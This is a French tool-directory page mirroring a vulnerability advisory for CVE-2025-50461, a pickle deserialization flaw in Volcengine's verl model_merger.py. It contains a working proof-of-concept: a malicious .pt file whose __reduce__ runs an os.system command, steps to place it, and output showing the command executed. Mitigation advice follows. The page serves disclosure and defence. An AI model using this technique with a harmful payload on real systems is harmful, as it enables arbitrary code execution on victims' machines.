Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-50461 — Détails techniques et exploit pour CVE-2025-50461 | Kitploit
Outils/GitHubGitHub/anchor0221/cve-2025-50461
Génération de PayloadsAnalyse des VulnérabilitésExploitationArticles et RechercheApprentissage et ÉducationExploitation de Binaires
GitHubanchor0221/cve-2025-50461

CVE-2025-50461

Détails techniques et exploit pour CVE-2025-50461

Voir le dépôt
7il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-50461 : Exécution de code à distance via désérialisation non sécurisée de modèle dans Verl

Statut : RÉSERVÉ
Cet identifiant CVE a été attribué mais n'est pas encore publié dans la liste officielle des CVE.

Une vulnérabilité de désérialisation existe dans verl 3.0.0 de Volcengine, spécifiquement dans le script scripts/model_merger.py lors de l'utilisation du backend "fsdp". Le script appelle torch.load() avec weights_only=False sur des fichiers .pt fournis par l'utilisateur, permettant à des attaquants d'exécuter du code arbitraire si un fichier de modèle malveillant est chargé. Un attaquant peut exploiter cela en convaincant une victime de télécharger et de placer un fichier de modèle malveillant dans un répertoire local avec un motif de nom de fichier spécifique. Cette vulnérabilité peut conduire à l'exécution de code arbitraire avec les privilèges de l'utilisateur exécutant le script.

Description

Dépôt concerné

  • Projet : volcengine/verl
  • Versions concernées : <= v0.4.0
  • Fichier : scripts/model_merger.py
  • Lien permanent GitHub : https://github.com/volcengine/verl/blob/v0.3.0.post1/scripts/model_merger.py#L87
  • Dépendance : PyTorch < 2.6.0

Preuve de concept (PoC)

Étape 1 : Créer un fichier de modèle malveillant (malicious.pt)

import pickle
import os

class Malicious:
    def __reduce__(self):
        return (os.system, ("mkdir HACKED!",))

with open("malicious.pt", "wb") as f:
    pickle.dump(Malicious(), f)

Étape 2 : Renommer et placer

mv malicious.pt model_world_size_4_rank_0.pt
mkdir TESTS
mv model_world_size_4_rank_0.pt TESTS/

Étape 3 : Exécuter le script vulnérable

python scripts/model_merger.py --backend="fsdp" --local_dir="TESTS" --hf_model_path="TESTS"

Résultat

root@99137c7690ee:/workspace/verl-main# python scripts/model_merger.py --backend="fsdp" --local_dir="TESTS" --hf_model_path="TESTS"
Traceback (most recent call last):
  File "/workspace/verl-main/scripts/model_merger.py", line 440, in <module>
    convert_fsdp_checkpoints_to_hfmodels()
  File "/workspace/verl-main/scripts/model_merger.py", line 88, in convert_fsdp_checkpoints_to_hfmodels
    state_dict = torch.load(os.path.join(local_dir, f'model_world_size_{world_size}_rank_{rank}.pt'),
  File "/usr/local/lib/python3.10/dist-packages/torch/serialization.py", line 1384, in load
    return _legacy_load(
  File "/usr/local/lib/python3.10/dist-packages/torch/serialization.py", line 1630, in _legacy_load
    raise RuntimeError("Invalid magic number; corrupt file?")
RuntimeError: Invalid magic number; corrupt file?
root@99137c7690ee:/workspace/verl-main# ls
'HACKED!'   Notice.txt   TESTS   docker   examples   outputs   pyproject.toml       requirements.txt          scripts    test_prime.sh   tmp    verl.egg-info
 LICENSE    README.md    data    docs     patches    recipe    requirements_sglang.txt   setup.py   tests           verl   verl_demo.log

La commande mkdir HACKED! est exécutée sur le système de la victime.

Atténuation

  • Mettre à niveau vers PyTorch version 2.6.0 ou ultérieure, qui utilise par défaut weights_only=True, réduisant les risques de désérialisation.
  • Modifier le code pour définir explicitement weights_only=True lors de l'appel à torch.load.
  • Mettre en place une validation pour vérifier l'intégrité du fichier de modèle avant le chargement.
  • Sensibiliser les utilisateurs à ne pas charger de modèles provenant de sources non fiables.

Exemple de chargement plus sûr :

state_dict = torch.load(path, map_location="cpu", weights_only=True)

Statut CVE

ChampValeur
Identifiant CVECVE-2025-50461
Score CVSSTBD
CWECWE-502 : Désérialisation de données non fiables
Date de signalement2025-04-30
Date de divulgation2025-08-15
Version concernée<= v0.4.0
Version corrigée

Auteur

  • Découvert par : Yu Rong (戎誉) et Hao Fan (凡浩)
  • Contact : [[email protected]]
Télécharger l’outil